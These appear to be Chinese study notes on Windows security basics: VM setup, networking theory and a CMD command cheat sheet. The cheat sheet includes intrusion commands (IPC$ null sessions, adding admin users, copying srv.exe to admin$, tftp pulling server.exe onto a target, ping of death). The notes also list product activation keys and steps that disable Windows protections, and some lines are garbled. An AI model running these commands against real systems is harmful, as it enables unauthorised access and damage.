Windows 安全基础

基础认识

  1. Windows中00/03/08/12和Centos都属于服务器系统,但是Centos是免费开源的。虚拟化可以实现在一个系统上打开多个系统。

  2. 寄居架构是通过提供特定服务的应用程序上安装都个操作系统,这种应用程序是在某种系统上运行的。直接安装在硬件上的系统为宿主;原生架构的虚拟机软件直接安装在计算机硬件上,虚拟机本身就是一个操作系统,在这个虚拟机中可以同时运行多个操作系统。

  3. 虚拟机产品:Vmware公司研发的产品,VMware Workstation属于寄居架构,而VMware vSphere属于原生架构;微软公司推出的Hyper-V属于寄居架构,不过只有windows10以上才有Hyper-V。

  4. 安装VMware软件并创建一个文件夹用于存放虚拟机。打开虚拟机并新建向导,出现欢迎界面有:经典(Windows)、自定义(Other System)安装系统选最后一个安装“稍后安装操作系统”,上面的一个是要购买另一个是要序列号;位置放到自己文件夹里面,最大磁盘大小默认是40G,虚拟磁盘储存为单个文件。打开虚拟机设置点击CD/DVD/(IDE)右侧有使用物理驱动器和使用ISO映像文件,点击使用ISO映像文件。服务器需要点击:开机右边的按钮后才会出现登录窗口。

  5. 按C、输入10240选中C如果没有选中C那你的系统就会安装到D,有NTFS和FAT文件系统格式化选第NTFS。点击菜单中的虚拟机,里面有VMware tools点击安装,会将本机驱动复制给虚拟机。桌面右键点击属性,属性中点击桌面菜单,其中有自定义桌面点击,将图标打上对勾。我的电脑右键管理,选择磁盘管理并将为划分的资源划分。(记得选择快速格式化);点击管理此虚拟机快照,点击拍摄快照。点击转到即可使用。点击管理此虚拟机快照,点击克隆。克隆后打开修改计算机名称。使用8uftp软件,用于方便连接ftp服务器,点击左上角的电脑图标,对话框中点击新建站点并数据站点名。右边名称输入ftp的ip,用户名和密码输入指定的。

  6. 关闭更新服务:运行中输入services.msc找到Windows update并双击,在恢复中第一次失败里面改成无操作。运行中输入gpedit.msc在管理模板中的Windows组件里有Windows更新,将“配置自动更新”改为禁用。

  7. 激活码(支持正版)

SystemCode
Windows XPTBWJH-YRX9X-4T6G6-TDC9Y-8CYMM
Windows 2003GRD4P-FTQQF-JCDM8-4P6JK-PFG7M
VMware version 16UC5MR-8NE16-H81WY-R7QGV-QG2D8
  1. MacOS
1. 安装MacOS虚拟机需要使用VMware16、macOS-Big-Sur.iso镜像和macOS Unlocker for VMwate。
2. win10系统下使用VMware遇到“您的主机不满足在启用 Hyper-V 或 Device/Credential Guard 的情况下运行 VMware”,四种解决方法:打开“启用或关闭Windows功能”,取消Hyper-V;打开“Windows安全中心”,选择“设备安全性”,点击“内核隔离详细信息”,关闭“内存完整性”;使用win+r打开运行窗口,输入gpedit.msc,打开本地计算机策略 > 计算机配置 > 管理模板 > 系统 > Device Guard > Turn on Virtualization Based Security(打开基于虚拟化的安全)。双击,选择已禁用(Disabled)。
3. 解压Unlocker到D:\Program Files (x86)\VMware\VMware Workstation的文件夹中
4. 如果打开过vm需要将账户注销一下
5. 打开Unlocker(解压后的文件夹),右键管理员运行win-install.cmd文件
6. 打开vm点击创建虚拟机,点击自定义创建下一步,选择最高版本下一步
7. 选择稍后添加镜像下一步,选择Apple Mac OS x 系统并选择MacOS 11版本下一步
8. 选择存储位置(不建议存储在盘),下一步到分配硬盘大小为80gb,选择单文件
9. 点击虚拟机设置,修改内存为主系统的二分之一(主系统内存小于4gb不建议安装mac)
10. 点击CD/DVD/(IDE)选择下载好的macos镜像,点击完成
11. 点击开机,进入选择界面后双击磁盘,选中第一个右上角选择抹掉,命名OS,点击确定(默认自动退回选择界面,不退自己点一下)
12. 选择安装macos后点击确定,后面的选择同意,到选择宗卷时选择名为OS的后确定
13. 配置mac,无脑下一步,配置好后,点击选择偏好设置后选择安全与隐私,点击左下角锁子,输入密码将最后选中成为允许任何来源,点击vm的虚拟机菜单的tools,安装即可。
  1. 远程连接Server
1. 远程管理类型,远程桌面(图形)和telnet(命令行)。
2. 远程桌面:同步骤:虚拟机设置选择网络,勾选自定义选择VMnet1(仅主机模式),确定。网上邻居右键点击属性,本地连接右键属性,选择Internet点击属性,配置IP;win03:打开我的电脑右键属性,选择远程勾选启用此电脑的远程桌面。在命令行中创建用户 `net user a a /add`,我的电脑右键点击管理,点击本地用户和组里的组,找到Remote Desktop Users,双击添加用户,输入用户名点击确定;winxp:打开运行对话框输入mstsc,输入ip,输入用户名和密码,远程桌面协议端口RDP:3389 。
3. telnet:win03:打开我的电脑右键属性,选择远程勾选启用此电脑的远程桌面。打开cmd 创建用户` net user a a /add`,我的电脑右键点击管理,点击本地用户和组里的组,找到TelnetClients,双击添加用户,输入用户名点击确定。在运行窗口中输入services.msc,打开后找到Telnet服务名启用设置为自动;winxp:打开命令行输入`telnet 10.0.0.1`,输入 `netstat -an` 查看本地开放的所有端口,telnet的端口为23。

计算机基础

  1. 计算机的特点,处理速度快、运算精度高、存储容量大、具有逻辑判断能力、高度自动化。计算机的应用,科学计算、信息处理、自动控制、辅助系统、人工智能、网络通信、电子商务。

  2. 计算机的新能指标

指标详细
字长计算机内部一次能同时处理的二进制数据的位数
主频计算机种cpu的时钟频率,即cpu在单位时间内发出的脉冲数
主存容量主存储器(内存)所能存储的二进制信息的总容量
运算速度衡量计算机性能的一项重要指标
外设配置计算机的输入输出设备以及外存储器
软件配置操作系统、计算机语言、数据库管理系统、网络通信软件、汉字软件
  1. 源码、反码、补码:机器是无法识别正、负的,只能使用最高位0表示正,1表位负;源码是符号位=0,数值位0001001就9.符号位=1,数值位不变=-9;反码是正数不变,负数符号位=1,数值位取反;补码是正数不变,负数符号位=1、数值位取反加一。

  2. 字符的二进制编码:西文字符,美国标准信息交换码(ASCII),已被国际标准化组织ISO采纳作为国际通用的信息交换标准代码。7位的ASCII码称为标准ASCII码字符集,字节的最高位为0,可以表示128个字符。找找字符时要通过高3位和低4位为确定字符;中文字符,GB2312-80是我国于1981年颁布的一个国家标准,其称为国标码并总共7445个可用字符。我国对CB-2312-80进行了扩充,形成了CB18030国家标准。还将汉字增加至27484个。汉字机形码是表示汉字字形的字模码、是汉字的输出形式,用于在显示屏或打印机上输出汉字,通常用点阵,矢量等方式表示。

基础网络

  1. IP地址就是一个唯一标识,是一段网络编码(二进制)由32为组成。IP地址形式:0.0.0.0~255.255.255.255范围。国际标准组织ISO定义地址分类:五大类 (是以IP地址的第一位进行区分的)。主机位是0代表整个网段,127.0.0.1回环地址。
类型范围详细
A类1.0.0.0~126.0.0.0广域网,默认子网掩码:255.0.0.0
B类128.1.0.0~191.1.0.0城域网,默认子网掩码:255.255.0.0
C类192.1.1.0~223.1.1.0局域网,默认子网掩码:255.255.255.0
D类224.1.1.0~239.1.1.0组播地址
E类240.1.1.0~254.1.1.0科研使用
  1. 子网掩码, 在同一个局域网中,所有的IP必须在同一网段中才可以互相通信。子网掩码如何确定网络位:与255对应的数字为网络位,与0对应的是主机位。

  2. Subnet, Number of subnet hosts = 256/(subnet number +2) - 2 , mask = 256 - 256/(subnet number +2).

  3. 网关是internet与内网连接的入口,想要不同网段通信就需要使用网关做,代表去另一个网段中传输消息。

  4. DNS域名解析服务器,提供网络层地址转换为链路层地址的过程。ARP地址解析协议根据IPaddress get MACaddress、RARP地址反解析协议根据MACaddress get IPaddress。

数据通信
  1. 数据通信是两个实体间的数据传输和交换,把处在不同位置的终端和计算机,或计算机与计算机连接起来,从而完成数据传输、信息交换和通信处理等任务。

  2. 信息是对客事物的反映,可以是对物质的形态、大小、结构、性能等全部或部分特性的描述,也可以表述物质与外部的联系;信息可以用数字的形式来表示,数字化的信息称为数据。数据是信息的载体,信息则是数据的内在含义或解释。

  3. 信道是传送信号的一条通道,可以分为物理信道和逻辑信道。物理信道是指用来传送信号或数据的物理通路。逻辑信道也是指传输信息的一条通路,但在信号的收、发节点之间并不一定存在与之对应的物理传输介质,而是在物理信道基础上,由节点设备内部的链接来实现。信道按使用权限可分为专业信道和公用信道 ;按传输介质可分为有线信道、无线信道、卫星信道 ;按传输信号的种类可以分为模拟信道和数字信道 等;信道容量是指信道传输信息的最大能力,通常用信息速率来表示。单位时间内传送的比特数越多,则信息的传输能力也就越大,表示信道容量越大。信道容量由信道的频带(带宽)、可是用的时间能通过的信号功率和噪声功率决定。

  4. 码元和码字:在数字传输中,有时把一个数字脉冲成为一个码元,是构成信息编码的最小单位。将计算机网络传送中的每一位二进制数字称为“码元”或“码位”。

  5. 数据通信系统主要技术指标

1. 比特率:比特率是一种数字信号的传输速率,它表示单位时间内所传送的二进制代码的有效位(bit)数,单位用比特每秒(bps)或千比特每秒(kbps)表示。
2. 波特率:波特率是一种调制速率,也称波特率。它是针对在模拟信号上进行数字传输时,从调制解调器输出的调制信号,每秒钟载波调制状态改编的次数。其单位为比特(Baud)。
3. 误码率:误码指信息传输的错误率,也称错误率,是数据通信系统在日常工作情况下,衡量传书可靠性的指标。
4. 吞吐量:吞吐量是单位时间内整个网络能处理的信息总量,单位是字节/秒或为/秒。在单信道总线型网络中:吞吐量=信道容量*传输效率。
5. 信道的传播延迟:信号在信道中传播,从信源管端到达信宿端需要一定的时间,这个时间称为传播延迟(或时)
  1. 信道带宽是指信道所能传送的信号频率宽度,它的值为信道上可传送信号的最高频率与最低频率之差;数据传输速率是指单位时间内信道内传输的信息量,即比特率。一般来说,数据传输速率的高低由传输每1位数据所处时间决定,传输每1位数据所占时间越小,则传输速率越高。

  2. 在数据通信系统中,通信信道为数据的传输提供了各种不同的通路;数据通信系统模型:数据通信系统的一般结构模型,它是由数据终端设备(DTE)、数据线路端接设备(DCE)和通信线路等组成。

数据终端设备
  1. 数据终端设备(Data Terminal Equipment,DTE)是指用于处理用户数据的设备,是数据通信系统的信源和信宿。因为这种设备代表通信链路的端点,所以称为数据终端设备。它是资源子网的主体,通常的DTE就是一台具有处理数据的计算机,但它发出的信号并不能直接送达需要借助DCE才能实现。

  2. 数据线路端接设备(Data Circuit Terminating Equipment,DCE)又称为数据通信设备(Data Communication Equipment),是介于DTE与传输介质之间的设备,用于将DTE发出的数字信号转换成适合在传输介质上传输的信号形式,并将它送至传输介质上;或者将从传输介质上接受的得远端信号转换为计算机能接收的数据信号形式,并送往计算机,例如Modem等。

  3. 数据线路的通信方式:根据数据信息在传输线上的传输方向,数据通信方式有单工通信、半双工通信、全双工通信

  4. 数据传输方式:按照数据在传输线上市原样不变地传输还是调制变样后再传输,数据传输方式可分为:基带传输、频带传输、宽带传输 等。

  5. 基带传输

    • 在数据通信中,表示计算机中二进制数据比特序列的数字数据信号是典型的矩形脉冲信号。人们把矩形脉冲信号的固有频带称为基本频带,简称基带。
    • 基带传输是一种最基本的数据传输方式,一般用在较近距离的数据通信中。在计算机局域网中,主要就是采用这种方式传输。
  6. 频带传输

    • 基带传输要占据整个线路能提供的频带范围,在同一个时间内,一条线路只能传输一路基带信号。为了提高通信链路的利用率,可以用占据小范围带宽的模拟信号作为载波来传送数字信号。
    • 常用的频带调制方式有频率调制、相位调制、幅度调制、调幅加调相的混合调制方式 。频带传输克服了电话线上不能直接传送基带信号的缺点,提高通信线路的利用率,尤适用于远距离的数字信道。
  7. 宽带传输

    • 在同一信道上,宽带传输系统既可以进行数字信息服务也可以模型信息服务。计算机局域网采用的数据传输系统由基带传输和宽带传输两种传输方式,基带传输和宽带传输的主要区别在于数据传输速率不同。一个带宽信道能被划分为许多个逻辑信道,从而可以将各种声音、图像和数据信息传输综合在同一个物理信道中进行。
数据交换技术
  1. 在计算机网络中,传输系统的设备成本很高,所以当通信用户较多而传输的距离较远时,通常采用交换技术,使通信传输线路为各个用户所共用,以提高传输设备的利用率,降低系统费用。通常使用三种交换技术:电路交换、报文交换、分组交换
  2. 电路交换(Circuit Exchanging)方式中,通过网络节点(交换设备)在工作站之间建立专用的通行通道,即在两个工作站之间建立实际的物理连接。同性过程可分为三个阶段:电路建立阶段、数据传输阶段和拆除电路连接阶段
  3. 报文交换(Message Exchanging)与电路交换不同,它采取的是“存储-转发”(Store-and-Forward)方式,不需要在通信的两个节点之间建立专用的物理连接。数据以报文(Message)的方式发出,报文中除包括用户要传送的信息外,还有原地址和目地地址等信息。
  4. 分组交换(Packet Exchanging)也属于“存储-转发”交换方式,但它不是以报文为单位,而是以长度受到限制的报文分组(Packet)为单位进行传输交换的。分组的最大长度一般规定为一千比特。进行分组交换时,发送节点先要对传送的信息分组,每个分组中的数据不一定相同,但都必须小于规定的最大长度。还要对各个数据加上编号,加上源地址和目的地址以及约定的头和尾等其他控制信息。这个分组的过程称为信息打包。分组也称为信息包和包交换。
  5. 分组在网络中传输,还可以分成不同的两种方式:数据报和虚电路
    1. 数据报(Data Gram):这种方式有点想报文交换。报文被分组后,在网路中的传播路径是完全根据当时的通信状况来决定的。由于报文被分成许多组,每一组的路径可能是不同的所需要的时间也不同,但是所有组的目标主机是相同。目的主机必须对分组进行排序拼接出原来的信息。数据报传输分组交换方式的优点是:对于短报文数据,通信传输速率比较高,对网络故障的适应能力强:而它的缺点是传输时延较大,时延离散度大。
    2. 虚电路(Virtual Circuit):所谓虚电路就是两个用户的终端设备在开始互相发送和接收数据之前,需要通过通信网络建立逻辑上的连接。一旦这种连接建立后,就在通信网保持已建立的数据通路,用户发送的数据将按顺序通过新建立的数据通路到达终点,而当用户不需要发送和接收数据时可清除这种连接。虚电路传输分组交换的优点是:对于数据量较大的通信传输速率高,分组传输延时短,且不容易产生数据分组丢失。而它的缺点:对网络的依赖性较大。
  6. 信元交换技术是指异步传输模式(Asynchronous Transfer Mode,ATM),它是一种面向连接的交换技术,它采用小的固定长度的信息交换单元(信元),话音、视频和数据都可由信元的信息与传输。他综合吸取了分组和电路交换的优点,针对分组交换的弱点,利用电路交换完全与协议处理鱼馆的特点,通过高性能的硬件设备来提高处理速度,以实现高速化。ATM技术是克服了电路和分组交换的局限性的基础上产生的。ATM技术十分复杂,但对有高带宽要求和高级服务质量(QoS)需求的用户,ATM是一种广域网主干线的最好选择。
  7. ATM模型分为三个功能层:ATM物理层、ATM层和ATM适配层
    1. ATM物理层:ATM物理层是控制数据位在物理介质上的发送和接收。另外,它还负责跟踪ATM信号边界,将ATM信元封装成类型和大小都合适的数据帧。
    2. ATM层:主要负责建立虚链接并通过ATM网络传输ATM信元。
    3. ATM适配层:主要任务是在上层协议处理所产生的数据单元和ATM信元之间建立一种转换关系。同时适配层还要完成数据包的分段和组装。
  8. 建立连接,数据从应用层向下传输到ATM适配层,将数据分成定长的48B,并适配到底层的ATM服务上。ATM标准化组织ATM Forum 已经定义了若干不同的ATM适配类型,将定长的数据传输到ATM层添加5B的信元头,构成一个53B的信元。信元到达目的地址后从物理层向上传递到ATM适配层将48B的定长数据在进行组装,向高层传递。在交换通路某一个中间结点上,点个信元都是根据信元头的内容进行交换的。
差错检验与校正
  1. 计算机网络的基础要求是高速而且无差错的传输数据信息,而通信系统主要由一个个物理实体组成。每个在运行中,也会受到周围环境的影响,因此,一个通信系统无法做到无美无瑕,需要考虑如何发现和纠正信号传输中的差错。
  2. 数据传输出现差错有多种原因,一般分为内部因素和外部因素 :内部因素有噪音脉冲、脉动噪音、衰减、延迟失帧等;外部因素有电磁干扰、太阳噪音、工业噪音等。为了确保无差错传输数据,不需具有检错和纠错的能力。
  3. 奇偶校验是一种最简单的检错方法。是在数据的最后加上以为奇偶校验位,接收器检查接收到的数据的最后查看是否是奇数或偶数,来判断是否错误情况。若有两个数据同时错误将无法查出错误。
  4. 循环冗余校验(Cyclic Redundancy Check ,CRC)是一种较为复杂的校验方法,又称多项式码。这种编码对随机差错和突发差错均能以较低的冗余度进行严格的检查,有很强的检错能力。它是利用事先生成的一个多项式g(x)=x16+x12+x^5+1去除要发送的信息多项式m(x),得到余式就是所需的循环冗余校验码,它相当于一个16位长的双字符。它将传送的数据后附加若干个校验位。接收端接收时先去除同一多项式,去除出错则数据错误。
多路复用技术
  1. 多路复用技术能把多个信号组合在一条物理信道上传输,使多个计算机或终端设备共享信道资源,提号信道的利用率。
  2. 频分多路复用(FDMA)是将具有一定宽带的信道分成若干个有效小频带的子信道,每个子信道供一个用户使用。这用,在信道中就可以同时传输多个不同频带的信号。没分开的各个子信道的中心频带互不重合,且各个信道之间留有一定的空闲频带。
  3. 时分多路复用(TDMA)是将一条物理信道的传输时间分成若干个时间片轮流的给多个信号使用。时分多路复用技术实现的条件是,信道能达到的数据传输速率超过各路信号源所要求的数据传输速率。
  4. 波分多路复用(WDMA)主要用于由全光纤网组成的用信息系统中。所谓波分多路复用,是指在一根光纤上能够同时传输多个不同波长光载波的复用技术。
  5. 码分多路复用(CDMA)是一种用于移动通信系统的新技术,一个数字助理(PDA)以及手提电脑(HPC)等移动计算机的联网通信将会大量使用码分多路复用技术。码分多路复用技术的工作是基于码型分割信道。每个用户分配有一个地址码,而这些码型互相不重叠,其特点是频率和时间资源均为共享。在频率和时间资源紧缺的情况下,码分多路复用技术可以很好的解决问题。

进制转换

  1. 二进制(BIN),二进制只有01 两种状态,逢二进一。

    1101101(b)= 155(o) # 二转八,用过从后往前没三位数,用421来转换。
    1101101(b)= 109(d) # 二转十,从后往前每一位的二次方,将1的次方数先加。
    1101101(b)= 6D(h) # 二转十六,从后往前将每4为数通过8421来计算。

  2. 八进制(OCT),八进制有八个状态0~7 ,逢八进一。

    155(o)= 1101101(b) # 八转二,通过从后将每一位八进制数用421,从大到小分配未分配的为0

  3. 十进制(DEC),十进制有十个状态0~9 ,逢十进一。

    109(d)= 1101101(b) # 十转二,将十进制数除以二,直到除尽。从下往上数,从左往右排列。

  4. 十六进制(HEX),十六进制有十六个状态1~F ,逢十六进一。

    6D(h)= 1101101(b) # 十六转二,通过将每一位十六进制数通过从大到小填充8421,未满足为0

  5. 存储单位

小单位大单位小单位大单位
8 bit1 Byte1024 Byte1 KB
1024 KB1 MB1024 MB1 GB
1024 GB1 TB1024 TB1 PB

基础命令

  1. 基本操作

    查找

cls                   											# 清屏
echo hello World!> a.txt    									# 写入到文件
echo hello World!>> a.txt 										# 追加到文件
copy con ng.txt        											# 复制屏幕数据到文件ctrl+z退出
copy a.txt ./		   											# 复制a.txt文件到当前文件夹
move a.txt ./		   											# 移动a.txt文件到当前文件夹
ren a.txt b.txt 	   											# 重命名
md admin               											# 新建文件夹admin
type nn.txt    		 											# 浏览文件内容
type nn.txt | more 	 											# 分页浏览文件内容
			
# 删除 			
del nn.txt  													# 删除nn.txt
del *.txt														# 删除此文件夹下的所有txt文件
del*. * /q														# 删除所有文件夹下的文件并不出提示
del*.* /s														# 删除根目录下所有文件
rd xx 															# 删除文件夹
			
# 操作			
dir 				 											# 查看当前文件夹下的文件
dir /a	             											# 查看全部文件(包括系统文件)
cd xx				 											# 进入指定子文件夹
cd .				 											# 当前文件夹
cd ..				 											# 返回上级文件夹
cd /				 											# 返回根目录
exit				 											# 退出dos命令行
echo xx				 											# 输出
system("echo 123")   											# 调用系统脚本
attrib +h nn	     											# 属性隐藏nn文件夹
attrib -h nn	     											# 属性取消隐藏nn文件夹
attrib +h +s +a nn	 											# 属性隐藏,受保护的系统文件夹,只读文件夹nn文件夹
fsutil file createnew c:\system.ini 409600000					# 文件新建新的的system.ini的大小是4096000000字节
			
assoc.txt=exefile	    										# 把所有的txt文件改为exe
shutdown -s -t 100	    										# 倒数100秒关机
shutdown -a	            										# 解除关机
shutdown -r -t 100	    										# 倒数100秒重启
shutdown -s -f -t 100											# 倒数100秒后强制关机
shutdown -s  -t 100 -c"shutdown host"							# 倒数100秒后强制关机
shutdown -l														# 注销账户,与logoff命令相同

# 标配
@echo off    													# 不显示执行过程路劲
color 0a     													# 前背后字,color?可以查颜色
title baba  													# 脚本名称
echo baba >nul 2>nul 											# 不在屏幕输出
echo.        													# 空行
pause															# 暂停

# 块域
copy a.bat "%userprofile%\[start]\..."							# %userprofile%是一个变量,会获取当前用户的名(就这样理解)
:1																# 指定块域名为1
start    														# 可以加文件名,域名,IP,不加默认打开cmd
echo 1

:2 
echo 2
goto 1   														# 跳转到指定块域

# 设置
set a=1															# 定义变量值为1
echo %a%														# 调用变量
set /p a=input 													# /p指定了a的数据只能来源于键盘,后面的是提示信息
echo %a%
pause

# 复合语句
set /p user=input:
if "user" == "alex" echo hello world
else echo hello

# 杀进程
ntsd -c q -pn <task> 											# 针对xp和win03
taskkill /im <task> /f   										# /f是强制杀
  1. 命令补充

    net use ipc$ " " /user:" " # 建立IPC空链接
    net use ipc$ “pwd” /user:“user” # 建立IPC非空链接
    net use h: ipc$ “pwd” /user:“user” # 直接登陆后映射对方C:到本地为H:
    net use h: ipc$ # 登陆后映射对方C:到本地为H:
    net use ipc$ /del # 删除IPC链接
    net use h: /del # 删除映射对方到本地的为H:的映射
    net user /add # 建立用户
    net user guest /active:yes # 激活guest用户
    net user # 查看有哪些用户
    net user # 查看帐户的属性
    net locaLGroup administrators /add # 把用户添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start # 查看开启了哪些服务
    net start # 开启服务;(如:net start telnet, net start schedule)
    net stop # 停止某服务
    net time # 查看对方时间
    net time /set # 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view # 查看本地局域网内开启了哪些共享
    net view ip # 查看对方局域网内开启了哪些共享
    net config # 显示系统网络设置
    net logoff # 断开连接的共享
    net pause # 暂停某服务
    net send ip “textinfo” # 向对方发信息
    net ver # 局域网内正在使用的网络连接类型和信息
    net share # 查看本地开启的共享
    net share ipc$ # 开启ipc 共享 n e t s h a r e i p c 共享 net share ipc 共享netshareipc /del # 删除ipc 共享 n e t s h a r e c 共享 net share c 共享netsharec /del # 删除C:共享
    net user guest 12345 # 用guest用户登陆后用将密码改为12345
    net password # 更改系统登陆密码

netstat -a 														# 查看开启了哪些端口,常用netstat -an 
	-n 															# 查看端口的网络连接情况,常用netstat -an 
	-v 															# 查看正在进行的工作 
	-p 															# 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 
	-s 															# 查看正在使用的所有协议使用情况 

nBTstat -A ip 													# 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 
trAcert <-option> <ip address or hostname> 						# 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping <ip address or hostname>									# 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 
ping -t -l 65550 <ip> 											# 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 
ipconfig (winipcfg) 											# 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 														# 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 
kill -F <kill name> 											# 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 
del -F <filename>												# 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q <path> 												# /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) 
move <pathfile> <now pathfile>									# 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 
fc one.txt two.txt > 3st.txt									# 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 
at <id> 														# 开启已注册的某个计划任务 
at /delete 														# 停止所有计划任务,用参数/yes则不需要确认就直接停止 
at <id> /delete 												# 停止某个已注册的计划任务
at 																# 查看所有的计划任务 
at ip time <Command> /r 										# 在某时间运行对方某程序并重新启动计算机 
finger username @host 											# 查看最近有哪些用户登陆 
telnet <ip> <port> 												# 远和登陆服务器,默认端口为23 
open <ip> 														# 连接到IP(属telnet登陆后的命令) 
telnet 															# 在本机上直接键入telnet 将进入本机的telnet 
copy <pathfile> <pathfile> /y									# 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 
copy c:srv.exe ipadmin$ 										# 复制本地c:srv.exe到对方的admin下 
cppy 1st.jpg/b+2st.txt/a 3st.jpg 								# 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy ipadmin$svv.exe c: 										# 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: 
xcopy <path> <now path> 										# 复制文件和目录树,用参数/Y将不提示覆盖相同文件 
tftp -i <IP> get server.exe c:server.exe 						# 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 
tftp -i <DIP> put c:server.exe 									# 登陆后,上传本地c:server.exe至主机
ftp <ip> <port> 												# 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 
route print 													# 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 
arp 															# 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 
start <command> 												# /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 
mem 															# 查看cpu使用情况
attrib <file or path>											# 查看某文件(目录)的属性 
attrib <filename> -A -R -S -H 									# 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 
dir 															# 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 
date /t 														# time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set abc="holle" 												# 设置环境变量 
set 															# 显示当前所有的环境变量 
set p															# 显示出当前以字符p(或其它字符)开头的所有环境变量 
pause 															# 暂停批处理程序,并显示出:请按任意键继续.... 
if 																# 在批处理程序中执行条件处理(更多说明见if命令及变量) 
goto <tag> 														# 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) 
call <scriptfile> <??>											# 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 
echo on or off 													# 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo "info" 													# 在屏幕上显示出信息 
echo "info" >> pass.txt 										# 将"信息"保存到pass.txt文件中 
findstr "Hello" aa.txt 											# 在aa.txt文件中寻找字符串hello 
find "filename" 												# 查找某文件 
title "title" 													# 更改CMD窗口标题名字
color "colornum" 												# 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt "name" 													# 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
ver 															# 在DOS窗口下显示版本信息
winver 															# 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format "C: or D:" /FS:"type" 									# 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 
md "dirname"													# 创建目录 
replace "srcfile" "path" 										# 替换文件 
ren "sfile" "now file" 											# 重命名文件名 
tree 															# 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 
type "filename"													# 显示文本文件的内容 
more "filename" 												# 逐屏显示输出文件 
doskey "command"="string"										# 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 														# 调出任务管理器 
chkdsk /F D: 													# 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 
tlntadmn telnt													# 服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 
exit 															# 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe 
path <file> 													# 为可执行文件设置一个路径。 
cmd 															# 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? 
regedit /s <file> <import table>								# 参数/S指安静模式导入,无任何提示; 
regedit /e <file> <save table>
cacls "filename" "option" 										# 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。 
cacls "file" 													# 查看文件的访问用户权限列表 
REM "text" 														# 在批处理文件中添加注解 
netsh 															# 查看或更改本地网络配置情况

iisreset /reboot 												# IIS服务命令,重启win2k计算机(但有提示系统将重启信息出现)
	 /start or /stop 											# 启动或停止所有Internet服务 
	 /restart 													# 停止然后重新启动所有Internet服务 
	 /status 													# 显示所有Internet服务状态 
	 /enable or /disable	 									# 在本地系统上启用或禁用Internet服务的重新启动 
	 /rebootonerror 											# 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 
	 /noforce 													# 若无法停止Internet服务,将不会强制终止Internet服务 
	 /timeout 													# Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒


shutdown </option> 												# 关闭或重启本地或远程主机
	/S 															# 关闭主机
	/R 															# 重启主机
	/T 															# 数字 设定延时的时间,范围0~180秒之间
	/A															# 取消开机
	/M 
	//IP 														# 指定的远程主机
	
taskill </option> <pid> 										# 终止一个或多个任务和进程
    /IM 														# 要终止的进程的进程名
    /F 															# 强制终止进程
    /T 															# 终止指定的进程及他所启动的子进程
    
